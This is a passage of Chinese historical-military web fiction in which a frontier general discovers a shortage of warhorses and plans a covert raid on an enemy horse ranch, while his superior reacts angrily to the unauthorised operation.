嵇学真听得一脸茫然,凌川则是与杨恪对视一眼,露出彼此心照不宣的会心一笑,既不承认,也不否认,更添几分神秘。 “将军,今日所得,重于千钧!多有叨扰,我二人需即刻返回府衙,细细研读,尽早筹划!”杨恪小心翼翼地收起那些珍贵无比的手稿,起身郑重辞行。 “二位大人何必如此匆忙,眼下已到饭点,便在此处用过便饭再走吧!”凌川出言挽留。 “哈哈!早就听闻将军不仅用兵如神,这庖厨之技亦是一绝,今日我二人看来是有口福了!”杨恪心情极佳,轻轻碰了碰身旁仍处于震撼中的嵇学真,笑着说道。 凌川遂亲自下厨,炖了一锅汤汁奶白、香气四溢的羊排,又炒了几样清爽可口的小菜。苏璃也笑着捧出一壶狼血上桌。几人围桌而坐,氛围融洽地开始用餐。 杨恪与嵇学真见凌川自然地将苏璃唤至身旁同桌用膳,眼中虽闪过一丝诧异,但见凌川这个主人家坦然自若,他们自然也极有眼色地装作无事发生,心下对这位将军不拘小节的作风又有了新认识。 “嵇大人,刺史大人向来不善饮酒,他这份美意,今日可就全仰仗你代为领受了!”席间,凌川笑着向嵇学真劝酒。 嵇学真连忙举杯,脸上已有些许红晕:“将军海量,下官……下官甘拜下风,尽力而为,尽力而为!” 酒足饭饱之后,嵇学真将那些关乎云州未来的图纸如同对待绝世珍宝般,小心翼翼地贴身收好,这才与杨恪一道,心满意足又满怀斗志地告辞离去。 送走二人不久,亲卫苍蝇便将参军程砚带到了将军府书房。 “属下程砚,参见将军!”程砚风尘仆仆,显然也是刚忙碌归来。 “不必多礼,坐!”凌川指了指旁边的椅子,待程砚坐下后,便将杨恪方才送来的那本名册递给了他。 程砚双手接过,迅速翻阅起来。越是往下看,他脸上的血色褪得越快,神色变得无比凝重,额角甚至渗出了细密的汗珠。 “将军,这……属下失察!”他猛地站起身,脸上尽是愧疚与惶恐。 “事情既已发生,追悔无益!”凌川声音平静,却带着不容置疑的坚决,“你亲自带领监军营得力人手,即刻对名册之上所列人员及所述行为,进行逐一核查,务求证据确凿。若情况属实,一律依军规从严处置,绝不姑息!” “属下领命!”程砚挺身抱拳,声音铿锵。 这段时间,他奔波于各州县之间,协调军中人力协助官府处理繁杂事务,确实是分身乏术。 凌川深知此点,故而并未过分追究其失察之责,但将此事全权交给他处理,其用意不言自明,既是信任,也是考验,更是给他一个整顿军纪、重塑威信的机会。 程砚自然明白凌川的深意,紧握名册,告退离去,背影决然。 第一卷 第282章 紧缺战马! 如今,第一阶段的全军轮训已接近尾声,成效显著。接下来,必须着手筹划第二阶段的针对性强化训练了。 这日,凌川正着手整理云州六座大营近日传回的训报。 按照他最初的构想,在完成基础整合与素质提升后,应将五万云州军进行精细化整编。 总体划分为步兵与骑兵两大体系,具体构想是,组建一万重骑兵,打造一架摧枯拉朽的战车;在组建两万精锐轻骑兵;剩余两万则是打造成精悍步卒。 然而,就在刚才盘点各营上报的军械物资库存时,一个极其严峻的问题浮出水面,如同一盆冷水浇下。 整个云州军府库登记在册、堪用的战马,竟然只有一万五千匹! 这个残酷的数字,无异于一柄重锤,狠狠砸在了凌川宏大的‘铁骑梦’上,几乎将其扼杀于摇篮之中,两万轻骑的构想,瞬间变得遥不可及。 须知骑兵建制远非简单的一人一马,一名合格的骑兵,标准配置至少需一匹冲锋陷阵的战马、一匹驮载甲胄物资的驮马,条件允许下,最好再配一匹轮换乘骑的备马。 至于重骑兵,所需马匹更多,且对战马的体型、力量、耐力要求更为苛刻。 当然,这是理想状态。 事实上,即便是以产马著称、纵横草原的胡羯精锐,也难做到人人三骑,大多维持着一人双骑的配置。 凌川立刻传令,召来了重骑兵都尉赵襄与轻骑兵都尉柳衡,并特意传唤了主管马政的监牧使谭学林。 谭学林是一位年过五旬、面容干瘦、手指关节粗大的老吏,平生第一次被召入将军府,内心惶恐万分。 近来云州官场、军中风云突变,掉脑袋的大小官员不在少数,他一路走来皆是惴惴不安,生怕是自己管辖范围内出了什么无可挽回的纰漏。 凌川看出他的不安,尽量让语气平和,问道:“老谭,我云州军中,现下究竟有多少可用的战马?” 谭学林闻言,下意识地挺直了本就干瘦的腰板,如同禀报军情般,声音清晰而肯定:“禀将军!云州各县现役登记在册、堪负征战之用的战马,共计一万三千六百二十七匹!此数为五日前最新核验之数!” 凌川眼中掠过一丝惊愕,没想到这位老吏竟能将数字精确到个位,记得如此清楚。 他压下情绪,继续追问:“那若是加上两处军马场的所有马匹呢?包括母马、驹马,都算上!” 谭学林几乎没有思考,立刻接口答道:“禀将军!半月前,属下方才巡视过清河、西源两处军马场。两场现有各类马匹相加,共计六千二百三十七匹!其中三岁以上可训为战马者,约一千八百匹;母马两千余匹;其余皆为驹马或岁口不足者!” 云州仅有的清河、西源两处马场,规模皆属中型,受限于草场、人手与种马资源,每年堪堪能培育出合格战马三千余匹。 在无大战损耗的情况下,这两处马场的产出,也仅能勉强维持一支万人骑兵规模的正常轮换与补充,替换那些年老力衰退役的战马。 一旦战事开启,损耗加剧,仅靠自身马场,根本无力支撑万人骑兵的持续作战需求。 更何况,培育优质战马周期极长,马驹需长至三四岁方可开始系统训练,五岁左右方能正式服役。 若按一匹战马最长十年服役期计算,凌川想要打造三万骑兵,至少需要六万匹以上的战马储备作为基础!这与现实之间,存在着令人绝望的巨大差距。 而这数万战马每日所消耗的精料、草料,更是一个足以让任何后勤官头皮发麻的天文数字。 这也是为何,自古骑兵始终被誉为‘军中之胆’,且数量稀少、珍贵异常比的根本原因。 凌川不禁揉了揉发胀的额角,目光转向柳衡与赵襄二人,问道:“这些年来,我云州军可曾持续向节度府呈文,申请补充战马?” 柳衡与赵襄对视一眼,脸上皆露出无奈与苦涩。 赵襄叹了口气,拱手回道:“将军有所不知,我云州军在北境七州之中,历来……话语权不显。北疆各大直属节度府的马场,所产的优质战马,向来优先供给玄影骑、龙夔骑、虎贲骑那几支精锐。即便偶尔拨付一些给咱们,也多是从他们军中退下来的老马、伤马,要么年迈力衰,冲锋乏力;要么暗伤隐疾,难以持久!” 凌川点了点头,这种情况虽令人憋屈,却在情理之中。资源向来向核心精锐倾斜,这是任何体系的常态。 他沉吟片刻,对监牧使谭学林下达了第一条指令:“老谭,即日起,没有我的亲笔手令或当面口谕,任何人不得从咱们云州马场调走哪怕一匹马!” “属下遵命!”谭学林立刻抱拳领命,神色肃然。 随即,凌川示意三人都坐下,将自己的全盘构想和眼下遇到的困境坦然相告。 当听到凌川竟意图打造一支规模高达三万人的骑兵时,柳衡、赵襄乃至谭学林,都不由自主地倒吸了一口凉气,被这惊人的手笔彻底震撼。 “既然节度府不给咱们战马,那就只有抢了!”凌川的手指无意识地敲击着桌面,目光渐锐。 “抢?”三人神色骤变。 赵襄更是猛地站起身,急声劝阻:“将军三思!节度府对军马管制极其严格,尤其是战马流向,若我等胆敢擅自动其他州郡马场的主意,一旦追究下来,后果极其严重啊!” 凌川没好气地白了他一眼:“想什么呢?我就算再没脑子,也不可能对北境的马场动手!” 柳衡若有所思,试探着问道:“那将军的意思是?” 凌川身体微微前倾,压低了声音,眼中闪烁着一种锐利的光芒:“你们仔细想想,放眼整个北疆,哪里是优质战马最多?” “这还用问吗?”赵襄下意识地脱口而出,“那自然是胡羯蛮子手里,他们占据着……”话说到一半,他猛然顿住,眼睛瞪得像铜铃,用一种近乎惊骇的目光死死盯住凌川,声音微颤: “将…将军!您…您莫非是想去胡羯人手里抢战马?” 第一卷 第283章 无本万利的买卖? “除此之外,别无他法!”凌川重重地点了点头,郑重说道:“这笔无本买卖乃军中绝密,绝不可泄露半分!否则,军法从事!” “是!属下遵命!”三人心中一凛,齐声肃然应道,皆感受到了此事的分量与风险。 “老谭!”凌川再次看向老监牧,“你的任务同样艰巨,立即着手筹划,对清河、西源两处马场进行扩建!增辟草场,招募懂养马之道的民夫,提前储备草料。我们要做好准备,迎接可能到来的……大批新马!” “属下遵命!”谭学林再次抱拳,尽管觉得那数万战马尚且虚无缥缈,但将军指令已下,他唯有竭尽全力去执行。 待柳衡三人怀揣着震惊与沉重的使命离去后,凌川略作思索,又对亲卫吩咐道:“即刻去大营,将纪天禄和陈谓行请来!” 纪天禄及其麾下的精锐斥候,近期一直在主营休整,主要任务便是与陈谓行统领的云州斥候营进行深入交流与合练。 陈谓行虽身为云州斥候校尉,却深知纪天禄手下那支从血火中淬炼出的斥候小队,其侦查、渗透、生存能力是何等恐怖,多数时候,都是他在虚心向纪天禄请教讨教。 此外,两人之间虽此前虽然素未谋面,却另有一段渊源。 当初,正是纪天禄因触犯军规被革职打入死字营后,陈谓行才被从凉州军调来,接手了他留下的云州斥候营。 故而,如今云州斥候营中的骨干,十之七八都曾是纪天禄的旧部。 亲兵很快便将二人带至将军府旁侧的白虎堂。 此处乃军机重地,中央摆放着一座巨大的北境及周边区域的沙盘,山川河流、城池关隘,无不细致入微。 凌川正负手立于沙盘前,目光紧紧锁在塔拉草原以北的广袤区域,凝神思索,以至于门外传来脚步声和甲胄碰撞的声音都未曾察觉。 “末将纪天禄,参见将军!” “末将陈谓行,参见将军!” 两人声音洪亮,中气十足。 凌川这才抬起头,目光如电扫过二人,招手道:“来得正好,快过来!” 二人大步流星走到沙盘前,却见凌川用手中竹条指向沙盘中的一片区域,问道:“对这座马场了解多少?” 那是一片被特意标注出的广阔草场,位于塔拉草原北部腹地。两人只看一眼,心头便是一凛,那赫然是胡羯南征军的三大核心马场之一,塔拉马场! 塔拉马场南端大致与云州边境线平行,而其广袤的草场一路向北延伸,直至阴山脚下的斡拏城。 整座马场正是依托水草丰美的塔拉草原建成,北距斡拏城约一百五十里,而南距云州当前的边境线,则是将近三百里之遥。 尽管在上次大战后,拓跋桀率主力后撤了八十里,但整个塔拉草原依然被牢牢掌控在胡羯人的防线之内,巡逻游骑往来不断。 陈谓行率先开口:“回将军,据此前探查,塔拉马场规模极大,常年保有优质战马应在两万匹以上,而且,其中多为胡羯本族精心培育的耐力极佳的草原马,亦混杂相当数量的西域大宛马乃至更为神骏的汗血马,皆是良驹!” 纪天禄目光锐利如鹰,他已然捕捉到了将军问话背后可能隐藏的意图:“胡羯有一支精锐骑兵,常驻塔拉牧场,兵力约三千人,皆是拓跋桀的亲信。此外,还有依附于胡羯的牧奴约两千人,日常负责放牧、料理马匹。 其营地布局、巡逻规律、换防时间,得进一步探查!” 凌川对二人的回答十分满意,尤其是纪天禄,已然想到了情报的下一步应用。 他手指重重地点在沙盘上塔拉马场的位置,声音平静却石破天惊:“咱们云州军缺战马,我叫你们来,就是想商量一下,怎么想个法子,去把这两万多匹战马牵回来!” “牵……牵回来?”陈谓行几乎怀疑自己听错了,饶是他久经沙场,此刻也觉一股寒气从脊背窜起,声音都带上了几分不易察觉的颤音。 那可是胡羯人的命根子之一!不仅有三千精锐骑兵日夜驻守,周边区域更是胡羯游骑频繁活动的范围,戒备森严,想要靠近侦察都需冒着九死一生的风险。 将军竟用如此轻描淡写的一个‘牵’字?仿佛那不是龙潭虎穴,而是自家后院一般! 纪天禄虽也瞳孔猛缩,但相较于陈谓行的震惊,他更快地压下了情绪,目光死死盯住沙盘,大脑开始飞速运转,衡量着各种可能性与致命的危险。 凌川将二人的反应尽收眼底,语气依旧平稳,却带着一种不容置疑的决绝:“无本万利的买卖,哪有不冒奇险的道理?” “可你们想过没有,此事一旦成了,不仅能极大缓解我云州军燃眉之急,更能一举重创拓跋桀的骑兵根基,断其一臂!此消彼长之下,这笔账,无论怎么算都值得!” 纪天禄深知,以凌川的作风,既然提出这个想法,那心里多半已经有了计划。 陈谓行此前并未跟随过凌川,不了解其秉性,眼神中带着几许担忧,“将军,咱们若真要劫塔拉马场,势必要出动大量兵力,如此一来,想要瞒过胡羯斥候几乎不可能,是不是先向节度府请示一下?” “请示个屁!”凌川直接回答道:“机会稍纵即逝,等请示完煮熟的鸭子都飞了!” “你俩现在就整顿斥候营,明日一早赶到边境!”凌川指着边境线,继续说道:“你们需要做的是,三日内,将塔拉马场的所有信息摸清楚,包括周围游骑数量及活动频率!” “遵命!”二人齐声回答道。 当晚,凌川便独自一人在白虎堂,时而围着沙盘转圈,时而坐在案桌跟前写写画画,一直到深夜,苏璃找过来,他才收工。 “相公,你这是……” 苏璃瞥了一眼他桌上的手稿,立马就看出,这是作战布局图,这不由让她心神一紧,莫非边境又有战事? 第一卷 第284章 别怕,一切有我! “娘子莫担心,并无战事发生,不过,我准备去一趟边关,给咱们云州军弄点战马回来!”凌川笑着说道。 苏璃点了点头,可还是难掩眼底的担忧,说道:“相公放手去做即可,切记保护好自己,云州这边的事宜我自己能处理好!” 凌川点头说道:“娘子要尽快把手上的事情交付给手下可信之人,一个月之后,咱们就要起程去神都,这边的事情还得继续运转!” 苏璃神色微凝,眼神中闪过一抹痛苦与畏惧,那块血淋淋的伤疤再次被揭开。 脑海中不由得回想起苏家满门抄斩的惨烈场景,整个人更是不受控制地颤抖起来。 “相公,小璃不想回去……” 凌川一把搂住她,轻声说道:“别怕,一切有我!” 他比谁都明白,那是苏璃内心的一道伤疤,甚至是永远也无法抚平的伤疤,但,他更明白,有些事情必须去面对,否则那道伤口会一直淌血。 “重阳,回去看看爹娘,给他们上炷香!”凌川轻声说道。 “小璃担心的是,我的身份会给相公带来麻烦!”苏璃看着他,眼神中担忧更甚。 她知道,凌川是奉旨回神都参加授封大典,他虽用战功帮自己免除了罪女身份,但父亲和苏家依旧被钉在谋反的罪名之上,自己若是跟着他一起回神都,一旦被那些人知晓,定然会借题发挥,对凌川发难。 “父亲一生刚正不阿,朝堂之上政敌不在少数,苏家倒台的背后,这些人没少发力,一旦知道你我的关系,定然会迁怒于你!”苏璃继续说道。 凌川依然是满脸淡然的笑意,轻拍她的肩膀,说道:“放心,没事的!” 其实,凌川已经预料到,此次神都之行,定然不会太平,先抛开苏璃的身份不谈,自己在云州的动作,就已经触动了半座朝堂的利益,甚至更多。 毕竟,一直以来,世家大族把持着仕途的晋升通道,他们是决不会眼睁睁看着自己铲除世家门阀而无动于衷的,毕竟,自己动的是他们的根基。 更何况,自己还杀了章绩,户部尚书虽然并未兴师问罪,但凌川可不会天真地认为,这件事就这样轻飘飘揭过了。 如果不出意外,那团积压已久的怒火,会在自己回神都之后,瞬间爆发开来,将自己淹没。 甚至于,凌川怀疑,很多人都不想让他活着回到神都。 所以,无论带不带苏璃,自己都注定举目皆敌,既然如此,那又岂会在乎多几个敌人? 次日一早,凌川身着铠甲带上亲兵队来到大营,一众将领全部擐甲执兵,摩拳擦掌,这让凌川不由得为之好笑。 昨日,他只是让人传令,校尉以上全体将领到大帐候命。 赵襄与柳衡心里有底,所以便身着铠甲早早到来,其他将领虽不明所以,但也敏锐捕捉到了不同寻常的气息,因为,以前训练虽然也会着甲配刀,但不会佩戴弓弩箭矢。 可今日,一个个装备齐全,俨然是一副要上战场的样子,其他人纷纷跑回去穿上铠甲,带上弓弩前来。 经过这段时间的训练,整个云州军无论是实力还是士气都提升了很大一截,也都盼着能上战场,一来是检验自身实力,其次就是可以捞取军功。 他们并未意识到一个问题,那就是跟着凌川之后,从未想过会打败仗,而是潜意识里认为,只要上了战场便可以捞取军功。 这或许是归结于几个月前那一战,凌川带领云岚军在关外杀出了赫赫威名,所有人都立下了不菲战功。 当然,还有一个原因,那就是云州军孱弱,以至于这些年一直被人看不起,他们迫切需要一个证明自身的机会。 最简单,也是最有效的办法,那就是在战场上见真章,用一场大捷来让其他州那些看不起云州军的人闭嘴。 大营之中,凌川示意大家落座,可屁股刚才挨着椅子,一名校尉便满脸迫切与期待,问道:“将军,是不是要开战了?” 凌川剑眉微微一挑,看向柳衡与赵襄二人。 两人连忙起身,摆手道:“将军,我俩可啥都没说!” 凌川淡然一笑,“看诸位迫不及待的样子,似乎恨不得现在就跟胡羯人来一场生死之战啊!”他目光从众人身上扫过,淡淡问道:“显然,最近的训练让咱们云州军士气涨了不少嘛,竟然想主动开战了!” 众人闻言,皆是面带笑意,确实如凌川所言,要是在以往,他们是断然不会有主动与胡羯人碰一碰这种念头的,如今的云州军之所以敢如此大胆,归根结底是源于这段时间的训练和提升,提升的不仅仅是体能和战力,还有信心。 然而,就在此时凌川话锋一转,冷声开口道:“不过,我要告诉大家的是,现在的云州军,如果遇上胡羯的普通军队,尚有一战之力,但胜算顶多也就五五开,一旦遇到胡羯各部的主力王牌,我们连一成胜算都没有!” 此言一出,现场顿时陷入死一般的寂静,不少将领脸上的笑容都还没有完全收敛,便直接僵在那里。 凌川略微缓和了一下语气,说道:“不要觉得我在危言耸听,更不要觉得我是在刻意打击你们,我是让大家有一个清楚的自我认识,有必胜信念固然是好事,但骄兵必败的道理,我也希望大家能够牢记!” “想要成为沙场上的百战雄师,成为主宰沙场的王者,背后就得比别人多流十倍的汗水,咱们云州军真正的训练,才刚开始!” 这并非今日的主题,凌川只不过是借此机会敲打一下这些将领,相信他们能以点带面,将这番话体现在之后的训练之中。 紧接着,凌川便步入主题,说道:“此次确实有任务分配,不过并非作战任务,而是去搞点战马回来,否则咱们云州骑兵就只能靠两条腿冲阵了!” 听到这里,众人看向凌川的目光中都带着期盼之色,都想凌川能带着自己去,因为,他们心里很清楚,只要能跟着将军,就能捞到军功。 第一卷 第285章 虎头峰小道! “赵襄、柳衡!” “末将在!”二人立马站起来,朗声回应。 “你二人各自清点一千精骑,配置既定装备,于天黑之前赶到高平县待命!”凌川直接下达命令。 “遵命!”二人齐声领命。 所有人都在等待凌川的下一步安排,然而,他却迟迟没有开口。 “程千韧听令!” 程千韧站起身来,抱拳听令。 凌川开口道:“我不在的时候,由你主持大军训练,千万不可懈怠!” “末将领命!”程千韧声音铿锵。 之前因为涂洪的事情,他主动要求革职,而凌川为肃军纪,也让他戴罪立功,现如今,自然是恢复其职位,继续执掌云州步卒。 “程砚听命!” “属下在!”程砚起身回道。 “近期,你负责军中一切内务,包括军械司,他们有一切合理要求都必须满足!”凌川交代道。 “属下遵命!” 布置完一切,凌川便离开大营返回了将军府。之所以没有与赵襄柳衡同行,是因为凌川并不打算去高平县,而是从云岚县出关。 凌川昨日在沙盘上查看地形的时候,发现云州境内有三条路可进入塔拉草原,一是高平县一带的边境,处于塔拉草原的最南端。 其二是狼烽口,虽然要绕一些路,但可以直入塔拉草原腹地。 最后一条路则是位于云岚县,当初,章绩让人私下将兵甲和民间女子卖给胡羯人,便是走云岚县那条道,之后,云岚县刘家将铁矿卖给胡羯人,同样是那条路。 只不过那是一条险要小道,根本不满足大军同行,但,通过这条小道,距离塔拉马场便只有百余里路程,比狼烽口还要近不少。 凌川当初扳倒刘家之后,找到了这条小道,便让人直接将其堵死。 昨日查看地形,让他忽然想起,心中便立马有了计划。 凌川当日并没有行动,而是第二天一早才带着亲兵队出发,一行五十余骑,只用了半日时间便抵达云岚县。 几个月不见,云岚县大营跟当初一样,并无太大变化,只不过,现如今这里却热闹了许多,因为周围好几个县的士兵都在这里进行轮训。 凌川并未去往校场,而是低调来到校尉府,这里他熟门熟路。 由于事先并未通知,正在校场领训的卫敛接到亲兵的禀报之后,立即赶了过来。 “将军!” 卫敛满脸激动,对着凌川见礼。 老兄弟见面,凌川内心也是非常激动,看他粗粝的脸颊,显然最近过得并不轻松。 “辛苦了!” 卫敛不住摇头,笑道:“不辛苦,不辛苦!” 紧接着,刘晏与周淮二人也闻讯赶来,再次见到凌川,他二人也是十分高兴。 “两位老哥快坐!”凌川示意他二人坐下,问道:“近段时间,云岚县这边怎么样?” “回禀将军,您之前都安排妥当了,一切顺利!”周淮回答道。 “如今,云州那边也才刚理顺,急缺人手,我准备将两位老哥调过去那边帮忙!”凌川说道。 “全凭将军安排!”刘晏与周淮二人的办事能力和忠诚度凌川都很放心,而云州大营的摊子太大,必须有信得过的人把关凌川才放心。 倒不是说对云州将领不信任,而是上次弓弩失窃事件,也给凌川上了一课。 再加上过段时间要动身去神都,他必须确保大后方万无一失。 “那行,你们将手上的事情交托一下,尽快赶往云州找程参军!”凌川交代道。 “将军此次回云岚县所为何事?”卫敛可不相信,凌川是专门为了来调两个人,要不然,直接让人送一道命令过来即可。 凌川换上严肃之色,说道:“确有要事!” “我准备从云岚县那条小道出关,去将塔拉马场那些马牵回来!” 听闻此言,卫敛神色跟当时的赵襄和柳衡如出一辙。 对于塔拉马场的情况他很清楚,那可是胡羯南征军的三大马场之一,虽谈不上重兵把守,但也绝不是凌川所说那般,一个轻飘飘的‘牵’字,就能做到的。 随后,凌川将自己的计划部署简单说了一下,饶是他这位此前跟随凌川在关外大杀四方的校尉,也不由为之震惊。 不得不说,凌川的计划很周密,但也很大胆,但凡某个环节出现纰漏,后果将不堪设想。 但,他很清楚,以凌川的性格,绝不会让手下人去送死,这看似险象环生的计划背后,肯定是他多次推演出来的结果,自己无需怀疑,只要按照他的计划执行即可。 “将军,需要我做什么?” “带上咱们原本丙标的老兄弟,再从军中挑选两百精悍之卒,随我出关!”凌川没有多余废话,直接下令。 “好,我这就去办!”卫敛抱拳回应了一声,便去往校场点兵。 “此次行动先行保密,切莫声张!”凌川刻意交代道。 “将军放心,我心里有数!” 半个时辰之后,卫敛的五百精兵便已经准备好,其中大部分都是原云岚县丙标的熟悉面孔。 再次见到凌川,所有人看向凌川的目光都写满了敬畏与狂热。 这支队伍由卫敛亲自率领,营中事务,全权交给副手秦放打理。 凌川让亲兵队,跟这五百兵卒一样,携带三日军粮,随后直接出营,朝着虎头峰的方向而去。 这条小路需翻过虎头峰,道路狭窄且非常险要,刘家为了将矿石运出去,还花费大量人力来修路,要不然,马车根本走不了。 可即便如此,有好几处险要之处都得卸掉车斗,靠人力搬运过去之后,再进行装车拖运。 这种地方,夜间行军的难度和危险将大幅度提升,所以,凌川便计划,天黑之前翻过虎头峰,然后等天黑再进入塔拉草原。 此举可以在很大程度上避免暴露,毕竟,进入草原之后,将再无藏身之处,一旦遇上胡羯的游骑,将彻底暴露。 由于近半年没有人走,以至于道路两旁的树木藤蔓都长拢来,让道路变得狭窄了很多,原本那几处险要路段,也都让人用石墙阻挡,除了云岚军日常巡边之外,几乎不会有人到这里。 好在他们提前做了准备,用厚实木板搭桥,这才有惊无险地跨过了那几处险隘。 第一卷 第286章 凌川,你胆子也太大了! 为保险起见,凌川让卫敛留下一什兵力守在这里,一是为了做好接应准备,二来是防止他们的行踪暴露之后,胡羯人顺藤摸瓜找到这里,虽然这种可能性不大,但为将者,但凡有一丝可能性都不能心存侥幸。 随后,五百余人便潜伏在山脚下静等天黑,山下便是一望无际的塔拉草原,所有人都静坐原地,安抚战马,尽量不发出一丁点声响。 好在这一代树林茂密,只要不发出大的动静,就算是游骑从下方路过也不会被发现。 随着夕阳的最后一缕余晖消失在茫茫草原的西面,黑夜逐渐笼罩下来。 凌川让卫敛将手下的斥候撒出去,查看附近这一带有无胡羯游骑出没的痕迹。 这些斥候都是卫敛根据凌川当初训练纪天禄那支斥候小队的方法从新选拔训练的,同样是百人规模,虽然整体素质无法与纪天禄手下那支斥候队相比,但经过这段时间的苦练,也不差。 一个时辰之后,斥候队回来禀报,并未发现胡羯游骑留下的痕迹。 就在此时,斥候队长敏锐察觉到若有若无的马蹄声,正当他准备上报的时候,一道冷漠中带着几分孤傲的声音传来。 “不用紧张,是自己人!” 原本云州军丙标士兵听到这话,并没有太惊讶的表现,可是新加入的士兵却一个个瞪大双眼,一脸不可思议。 要知道,刚才他们绝大多数人连马蹄声都没听到,也是现在,才隐约看到一道黑影朝着这边而来。 可将军的亲兵队中这名冷漠男子,却用肯定的语气告诉大家,来人是自己人,这让他们如何不震惊? “苍蝇,去看看!”凌川对苍蝇小声说道。 后者应了一声,朝着密林外走去,很快,黑暗中那一骑便来到近前,抬手吹了一个口哨。 “峰子,这儿呢!”苍蝇压低声音喊道。 尽管是晚上,苍蝇也能借助月色认出,来人乃是斥候队的庞峰。 很快,庞峰被带到凌川跟前,小声说道:“斥候队庞峰,参见将军!” “辛苦了!”凌川轻轻拍了拍他的肩膀,问道:“情况如何?” “消息已经探明,塔拉马场除了常驻的两千精兵之外,还有两支五百人的游骑,分扎于东西两侧三十里处!”庞峰喘了口气,继续说道: “此外,距离最近的胡羯军队在塔拉马场与斡拏城之间的金雀谷,距离约六十余里,五千骑兵!” 凌川点了点头,问道:“你们的斥候营现在何处?” “位于塔拉马场西侧,距离那支游骑约莫五里!”庞峰回答道。 凌川闻言,顿时一惊,问道:“为何这么近?” “方圆数十里都没有掩体,根本无处藏身!”庞峰说道。 凌川也知道,以纪天禄的经验,若非是万不得已,必然不会采取这种‘灯下黑’的方式。 “赵襄与柳衡行军至何处?”凌川又问道。 “按照行程推算,他们中午之前便可抵达白狼原,日落之前应该会抵达火石滩一带驻军!”庞峰回答。 之前他给赵襄与柳衡的命令是,昨日天黑前赶到高平县,然后根据斥候队的指示行军。 听到这里,凌川顿时松了一口气,若他们两人的队伍已经抵达火石滩,那今晚无疑便是动手的最佳时机。 因为,在这草原之上根本无处藏身,时间拖得越久,暴露的风险就越大。 “你立马返回,告诉纪天禄与陈谓行,寅初对那支游骑发起进攻,以最快的速度解决战斗,随后立马赶赴塔拉马场,务必在卯正之前对那两千骑发起进攻!”凌川对庞峰下达了命令。 “是!”庞峰抱拳领命,甚至都顾不上休息,转身便骑上马远去。 紧接着,凌川看向卫敛,说道:“选三五个熟悉地形的兄弟,以最快的速度赶往火石滩,让他们务必在卯正之前赶到塔拉马场,三方合围,干掉那两千胡羯精骑!” “遵命!”卫敛接到命令之后,立马下去安排。 临行前,凌川将一块传令牌交给几人,那是云州军中的传令凭证,只有持此令牌的,才是凌川亲口下达的命令,否则,其他人可以无视命令。 半个时辰之后,凌川率队起程。 他此行的目标是塔拉马场东侧那支五百人的游骑,这两支游骑就像是塔拉马场的两只眼睛,只有先将其干掉,才能对塔拉马场下手。 此地距离那支游骑有八十里路程,对他们来说,时间绝对足够。 五百余骑宛如一支幽灵军团,在草原上疾行,没有人说话,没有人东张西望,所有人都躬身紧贴马背,控制着战马疾驰,一双双坚毅的目光紧盯着前方。 与此同时,叶世珍骑马狂奔到元帅府,下马之后更是快步跑了进去。 “叶大人,卢帅已经休息!”卢恽筹的亲兵校尉樊鹏拦住了他。 “我有紧急军情,必须立马面见卢帅!”叶世珍一脸严肃地说道。 樊鹏闻言,神色顿时一变,随即立马让到一边,示意叶世珍进去。 书房之中,卢恽筹看着叶世珍呈上来的密信,眼神之中闪过一抹怒意。 密信的内容很简单,甚至可以用一句话概括,那就是‘凌川擅自出兵塔拉草原,欲劫塔拉马场。’ “混账!” 卢恽筹重重将手中那封密信拍在桌上,“凌川,你是不是觉得自己是陛下钦封的镇北将军,本帅就不敢动你了?不经节度府允许,甚至都不上报一声,便发动如此大规模的行动,你胆子也太大了!” “马上传令,让凌川带着他的人给我滚回来!”卢恽筹怒声喝道。 “估计已经来不及了!”叶世珍回答道。 卢恽筹也知道,这事多半已经无法阻止,叶世珍见他怒火消了一些,才开口说道:“大将军,眼下最重要的是如何应对眼下的局面,若是此举彻底激怒拓跋桀,他会不会不计代价与咱们死磕?” 卢恽筹也知道,眼下不是发火的时候,他端起茶喝了一口,让自己尽快冷静下来。 “来人!”卢恽筹喊了一声,一名亲兵快步走了进来,躬身而立。 “传令,各州斥候全部派出去,密切关注胡羯大军的一举一动!” “让所有边境线进入紧急战备!” “让杨烬旗率龙夔骑连夜赶赴云州高平县!” “是!”卢恽筹连下三道命令,那名亲兵领命而去,他得以最快是速度让传令兵将消息传出去。 第一卷 第287章 恶魔少女! 叶世珍抬起目光看了卢恽筹一眼,问道:“大将军,要不要让玄影骑去塔拉草原接应?” 卢恽筹沉思片刻,最终还是摇头否决。 “不必了,让那小子死在塔拉草原最好,省得我操心!”卢恽筹没好气地说道。 听到这话,叶世珍暗自松了一口气,笑道:“必须得让他活着回来,亲自到大将军面前请罪!” 卢恽筹冷哼一声,没再说话,不过心中却暗自佩服凌川的魄力。 塔拉马场的位置他很清楚,北系军一度战马匮乏,他也不是没动过塔拉马场的心思,但最终都被其否决了。 以前,塔拉草原一直都被拓跋桀占领,上次一战之后,虽然胡羯大军后撤八十里,但对于他们来说,那座马场依然在自己家门口。 所以,卢恽筹几次谋划,最终都没敢出手,倒不是他胆小怕事,而是对于他这个位置来说,需要把控全局,而非一城一寨之得失。 同样,帝国的北疆国门与四十万大军和数以千万百姓的存亡,尽在他一人之手,他不得不谨小慎微。 其实,叶世珍心里也很清楚,卢恽筹的怒火一部分来自于凌川的擅自行动,但更多的是凌川没有请示,换言之,在大将军看来,凌川没把他这个北疆主帅放在眼里。 这也是凌川最为致命的错误! 其实,上次凌川擅自从铁鳞城出兵武定关,就已经犯过一次相同的错误了,不过碍于他立下的显赫战功以及特殊时期,凉州大批武将被幽灵殿杀手刺杀,正是用人之际,节度府并未追究,甚至卢恽筹还顺水推舟,提拔他为都尉,镇守武定关。 但,这一次情况却截然不同。 大周与胡羯原本处于休战期,若凌川此举激怒拓跋桀,双方战火重燃,凌川将成为罪人,到那个时候,谁也救不了他。 距离塔拉马场不足五里处,矗立着一片连绵的军营。 此处驻扎着两千精锐胡羯骑兵,他们的唯一职责,便是护卫这座关乎南系军命脉的重要马场,戒备森严,昼夜不息。 然而,今日这座弥漫着粗犷与肃杀之气的军营,却迎来了一位让千夫长朝鲁都不得不小心翼翼、屏息应对的重要人物。 朝鲁勇猛善战,颇具谋略,是胡羯南征军中青壮一代的翘楚人物,深得拓跋桀信任。若非如此,拓跋桀也不会将塔拉马场这等重地交予他镇守。 此外,他还有一个极少人知道的身份,柔然王子。 可此刻,就在朝鲁自己的军帐内,气氛却与帐外的凛冽截然不同。 一名身着华丽草原服饰的少女,正慵懒地斜倚在原本属于他的主位上,一双修长笔直、堪称造物主杰作的长腿,竟随意地交叠着搁在摆放地图与令箭的案几之上。 她手中把玩着一只银质酒杯,猩红的酒液在其中轻轻晃荡。 